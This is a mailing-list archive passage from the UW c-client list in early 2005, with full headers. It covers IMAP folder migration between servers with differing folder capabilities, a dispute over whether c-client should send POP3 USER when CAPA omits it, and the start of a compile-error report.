(list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110QmCx008467 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 16:26:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j110QgtS017326; Mon, 31 Jan 2005 16:26:43 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110PJtw052292 for ; Mon, 31 Jan 2005 16:25:19 -0800 Received: from obsidian.cs.wisc.edu (obsidian.cs.wisc.edu [128.105.6.13]) by mxe3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110PJXq016809 for ; Mon, 31 Jan 2005 16:25:19 -0800 Received: from [128.105.121.24] (byrd.cs.wisc.edu [128.105.121.24]) by obsidian.cs.wisc.edu (8.13.1/8.13.1) with ESMTP id j110PGpr025669 for ; Mon, 31 Jan 2005 18:25:17 -0600 Message-Id: <41FECC6C.9000909@cs.wisc.edu> Date: Mon, 31 Jan 2005 18:25:16 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Liblit To: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: References: <41FEC792.6030606@cs.wisc.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-CSL-MailScanner-Information: Please contact lab@cs.wisc.edu for more information X-CSL-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > Did you try various "-merge" options in "mailutil transfer"? Neither "-merge prompt" nor "-merge append" seemed applicable. I tried "-merge suffix=.alt" but it did not work. Suppose I have source folders "foo" and "foo/bar", with messages in both. Near as I can tell from the "-verbose" output, the order of events is something like the following: 1. Create destination folder "foo" as a file, not a directory. 2. Copy messages from source folder "foo" to destination folder "foo". 3. Attempt to create destination folder "foo/bar". 4. Receive error from destination server. 5. Attempt instead to create destination folder "foo/bar.alt". 6. Again, receive error from destination server. 7. Prompt the user for an alternate name. Without "-merge suffix=.alt", the same events occur up through step 4. In neither case am I able to complete the transfer without manual human intervention. :-( From pinedev@shivax2.cac.washington.edu Mon Jan 31 16:34:10 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 16:34:10 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110Y9gL024769 for ; Mon, 31 Jan 2005 16:34:09 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110Y8V5008878 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 16:34:09 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j110Y1Ch018848; Mon, 31 Jan 2005 16:34:01 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110XQ9w122886 for ; Mon, 31 Jan 2005 16:33:26 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110XQAS032050 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 Jan 2005 16:33:26 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110XPTH014335; Mon, 31 Jan 2005 16:33:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110XPJt029021 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 31 Jan 2005 16:33:25 -0800 Message-Id: Date: Mon, 31 Jan 2005 16:33:28 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ben Liblit Cc: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: <41FECC6C.9000909@cs.wisc.edu> References: <41FEC792.6030606@cs.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 31 Jan 2005, Ben Liblit wrote: > Without "-merge suffix=.alt", the same events occur up through step 4. In > neither case am I able to complete the transfer without manual human > intervention. :-( You didn't say before that you wanted "without manual human intervention." Otherwise, I would use "-merge prompt" and choose an alternative name. The whole issue is that there is no well-defined means to copy mailboxes from "dual-use" mail stores to regular mail stores. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jan 31 16:40:03 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 16:40:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j110e3A9025054 for ; Mon, 31 Jan 2005 16:40:03 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110e2TF009177 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 16:40:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j110dvdi012070; Mon, 31 Jan 2005 16:39:57 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110dQxm119832 for ; Mon, 31 Jan 2005 16:39:26 -0800 Received: from granite.cs.wisc.edu (granite.cs.wisc.edu [128.105.6.24]) by mxe5.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j110dPwK021835 for ; Mon, 31 Jan 2005 16:39:26 -0800 Received: from [128.105.121.24] (byrd.cs.wisc.edu [128.105.121.24]) by granite.cs.wisc.edu (8.13.1/8.13.1) with ESMTP id j110dO47014789 for ; Mon, 31 Jan 2005 18:39:24 -0600 Message-Id: <41FECFBC.1030203@cs.wisc.edu> Date: Mon, 31 Jan 2005 18:39:24 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Liblit To: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: References: <41FEC792.6030606@cs.wisc.edu> <41FECC6C.9000909@cs.wisc.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-CSL-MailScanner-Information: Please contact lab@cs.wisc.edu for more information X-CSL-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > You didn't say before that you wanted "without manual human intervention." One might have read that into my characterization of this as a "bulk transfer". But no matter. I hereby clearly and explicitly state that I want to perform this transfer "without manual intervention". > The whole issue is that there is no well-defined means to copy mailboxes > from "dual-use" mail stores to regular mail stores. For each folder "foo" with both messages and subfolders, move messages into a new "foo/general" subfolder. That's a well-defined conversion. It's not the only possible conversion, but I'm flexible. If anyone on this list has an existing homogenization tool or combined homogenize-during-transfer tool that uses some other reasonable conversion strategy, I'd be happy to hear about it. [What if "foo/general" already exists? Then try "foo/general.1", "foo/general.2", etc. Or abort with an error. As I say, I'm flexible. Any reasonable scheme will probably suffice.] From pinedev@shivax2.cac.washington.edu Mon Jan 31 17:31:59 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 17:31:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j111VxrF026728 for ; Mon, 31 Jan 2005 17:31:59 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j111VwgQ012040 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 17:31:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j111VoiS007568; Mon, 31 Jan 2005 17:31:50 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j111UktN068058 for ; Mon, 31 Jan 2005 17:30:46 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j111Uj2c014207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 31 Jan 2005 17:30:46 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j111UeJd029466 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 Jan 2005 17:30:44 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1CvmsJ-0003sD-00 for ; Tue, 01 Feb 2005 02:30:39 +0100 Message-Id: Date: Tue, 1 Feb 2005 02:30:42 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: POP servers not advertising USER in CAPA reply MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I've got a bug report from a user about POP server at pop.spheregroup.net. He couldn't login to it using c-client based client because the server doesn't mention USER in its CAPA reply. Here is an example session: % telnet pop.spheregroup.net 110 Trying 213.246.197.151... Connected to pop.spheregroup.net. Escape character is '^]'. +OK Sphere Solutions Pop Server ready capa +OK Capability list follows TOP UIDL . user xxx@yyy.zz +OK xxx@yyy.zz... Recipient ok pass ****** +OK xxx@yyy.zz's mailbox has 0 total messages (0 octets). quit +OK xxx@yyy.zz yyy.zz POP Server signing off (mailbox empty) Connection closed by foreign host. Because of the line (952 in my UW_IMAP_2004b_SNAP-0409021845 snapshot) else if (!LOCAL->cap.user) mm_log ("Can't login to this server",ERROR); in pop3.c, the absence of "USER" in CAPA reply results in not being able to login to this server at all. It seems to me that this is not the ideal library behaviour and that there is no harm to try to login using USER (considerations of sending password in clear text don't necessarily apply, i.e. imagine that this happens over a SSL tunnel...). I definitely don't pretend that this POP3 behaves correctly and c-client does not, I'm well aware that the contrary is true. However from the user-usefullness point of view, it would be really more helpful if c-client tried to use USER which is understood by 99.99% of all POP3 servers (and whatever the proportion of broken POP3 servers is, it's definitely more than 0.01% in my experience). Thanks in advance, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 31 18:05:00 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 18:05:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11250TG027591 for ; Mon, 31 Jan 2005 18:05:00 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j1124w2o031326 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 18:04:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j1124paI017000; Mon, 31 Jan 2005 18:04:51 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11243pk119952 for ; Mon, 31 Jan 2005 18:04:03 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11243Nq019614 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Mon, 31 Jan 2005 18:04:03 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11242qj031280 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 31 Jan 2005 18:04:02 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11242mR023334; Mon, 31 Jan 2005 18:04:02 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11241iw008819 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 31 Jan 2005 18:04:01 -0800 Message-Id: Date: Mon, 31 Jan 2005 18:04:04 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client Interest List Subject: Re: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN c-client's POP3 client code is behaving correctly. A POP3 server that does not advertise USER in CAPA is specifically stating that USER is forbidden; it is the exact equivalent of an IMAP server that advertises LOGINDISABLED. A POP3 client MUST NOT send a USER command to a POP3 server that supports CAPA but does not advertise USER. Refer to RFC 2449. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jan 31 23:58:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 31 Jan 2005 23:58:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j117wXKY003776 for ; Mon, 31 Jan 2005 23:58:33 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j117wVGI031102 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 31 Jan 2005 23:58:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j117wJM9021210; Mon, 31 Jan 2005 23:58:19 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j117uQ9C052374 for ; Mon, 31 Jan 2005 23:56:26 -0800 Received: from mail15.bluewin.ch (mail15.bluewin.ch [195.186.18.63]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j117uPoW024665 for ; Mon, 31 Jan 2005 23:56:25 -0800 Received: from petertosh (81.62.76.84) by mail15.bluewin.ch (Bluewin AG 7.0.035) id 41DE9B9E00259D6F; Tue, 1 Feb 2005 07:56:18 +0000 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.36 #1 (Debian)) id 1Cvsmm-00068n-00; Tue, 01 Feb 2005 08:49:20 +0100 Message-Id: Date: Tue, 1 Feb 2005 08:49:20 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: Ben Liblit Cc: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: <41FEC792.6030606@cs.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 31 Jan 2005, Ben Liblit wrote: > I'd like to bulk transfer a folder hierarchy from one IMAP server to > another. Have you had a look at mailsync? *t -- ----------------------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ------------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 1 00:15:50 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 00:15:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j118FnbZ005083 for ; Tue, 1 Feb 2005 00:15:49 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j118Fm6n018810 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 00:15:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j118Fiaj018532; Tue, 1 Feb 2005 00:15:44 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j118Edew106232 for ; Tue, 1 Feb 2005 00:14:39 -0800 Received: from smtp802.mail.sc5.yahoo.com (smtp802.mail.sc5.yahoo.com [66.163.168.181]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j118EcTY027958 for ; Tue, 1 Feb 2005 00:14:38 -0800 Received: from unknown (HELO ?192.168.1.2?) (liblit@sbcglobal.net@68.78.233.100 with plain) by smtp802.mail.sc5.yahoo.com with SMTP; 1 Feb 2005 08:14:38 -0000 Message-Id: <41FF3A6D.9070801@cs.wisc.edu> Date: Tue, 01 Feb 2005 02:14:37 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Liblit To: c-client@u.washington.edu Subject: Re: bulk transfer with differing capabilities In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Tomas Pospisek wrote: > Have you had a look at mailsync? I see nothing in the documentation to suggest that it can deal with one server that supports folders with messages and subfolders and a second server which does not. In fact, the WHATSNEW file notes that as of release 5.0.0 it should be possible to sync stores which contain folders with messages _and_ submailfolders. However if two stores do not _both_ allow messages _and_ subfolders in folders at the same time, submailboxes will be created first and messages in folders that contain subfolders will no be synchronized! That reads as a pretty clear statement that mailsync cannot adapt my existing mail store to conform to the limited capabilities of the destination server. If I find a different tool that can automatically "homogenize" my folders on the source server first, perhaps then I'll use mailsync for the bulk transfer. So thanks, Tomas, for bringing it to my attention. But my search continues.... From pinedev@shivax2.cac.washington.edu Tue Feb 1 03:21:16 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 03:21:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11BLGPc012069 for ; Tue, 1 Feb 2005 03:21:16 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11BLFU0009207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 03:21:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j11BL0AV018654; Tue, 1 Feb 2005 03:21:01 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11BJmHB086822 for ; Tue, 1 Feb 2005 03:19:48 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi3.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11BJllF031012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 1 Feb 2005 03:19:48 -0800 Received: from smtp.tt-solutions.com (sunset.tt-solutions.com [81.56.246.156]) by mx2.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11BJib5009124 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 1 Feb 2005 03:19:46 -0800 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1Cvw4L-00060A-00 for ; Tue, 01 Feb 2005 12:19:41 +0100 Message-Id: Date: Tue, 1 Feb 2005 12:19:45 +0100 (Romance Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client Interest List Subject: Re[2]: POP servers not advertising USER in CAPA reply In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 31 Jan 2005 18:04:04 -0800 (Pacific Standard Time) Mark Crispin wrote: MC> c-client's POP3 client code is behaving correctly. Sorry for being unclear: I have absolutely no doubt about this. However the correct behaviour is not very useful in this case. MC> A POP3 server that does not advertise USER in CAPA is specifically stating MC> that USER is forbidden; it is the exact equivalent of an IMAP server that MC> advertises LOGINDISABLED. A POP3 client MUST NOT send a USER command to a MC> POP3 server that supports CAPA but does not advertise USER. In theory I totally agree but in practice there is this broken server which doesn't support any other way to login except by using USER but still doesn't advertise it. It's clearly is a bug in server implementation and using USER is the only way to work around it. The alternative is to not be able to login at all which may be correct (although in fact I don't see anything specifically forbidding use of USER in RFC 2449, it only states that its presence in CAPA response means that USER/PASS are supported but doesn't say anything about its absence!) but is absolutely useless. Speaking practically, what problems can I have if I still use USER even if the server doesn't advertise it? AFAICS in the worst case the server will reply that command is not supported. This doesn't seem very bad to me. Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 1 13:16:54 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Feb 2005 13:16:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.3+UW05.01) with ESMTP id j11LGriE001091 for ; Tue, 1 Feb 2005 13:16:53 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11LGqrs004637 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 1 Feb 2005 13:16:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with SMTP id j11LGdkS014506; Tue, 1 Feb 2005 13:16:40 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11LEbe0026646 for ; Tue, 1 Feb 2005 13:14:37 -0800 Received: from orion.unv.campus.wpunj.edu (unvowa.wpunj.edu [149.151.2.122]) by mxe2.u.washington.edu (8.13.3+UW05.01/8.13.3+UW05.01) with ESMTP id j11LEaMo007020 for ; Tue, 1 Feb 2005 13:14:37 -0800 Received: from callisto.unv.campus.wpunj.edu ([149.151.2.121]) by orion.unv.campus.wpunj.edu with Microsoft SMTPSVC(6.0.3790.211); Tue, 1 Feb 2005 16:14:37 -0500 Message-Id: <0F71D28420ADCD47AC019BEFD80339D2529329@callisto.unv.campus.wpunj.edu> Date: Tue, 1 Feb 2005 16:14:36 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Kowal, Michael" To: Subject: compile error Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C508A3.0881751F" X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-OriginalArrivalTime: 01 Feb 2005 21:14:37.0037 (UTC) FILETIME=[08CE81D0:01C508A3] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __RATWARE_SIGNATURE_3 0, __RATWARE_SIGNATURE_3_N1 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------_=_NextPart_001_01C508A3.0881751F Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I'm trying to compile IMAP and I keep getting the following error: imap-2004c1]# make slx . . . ln -s 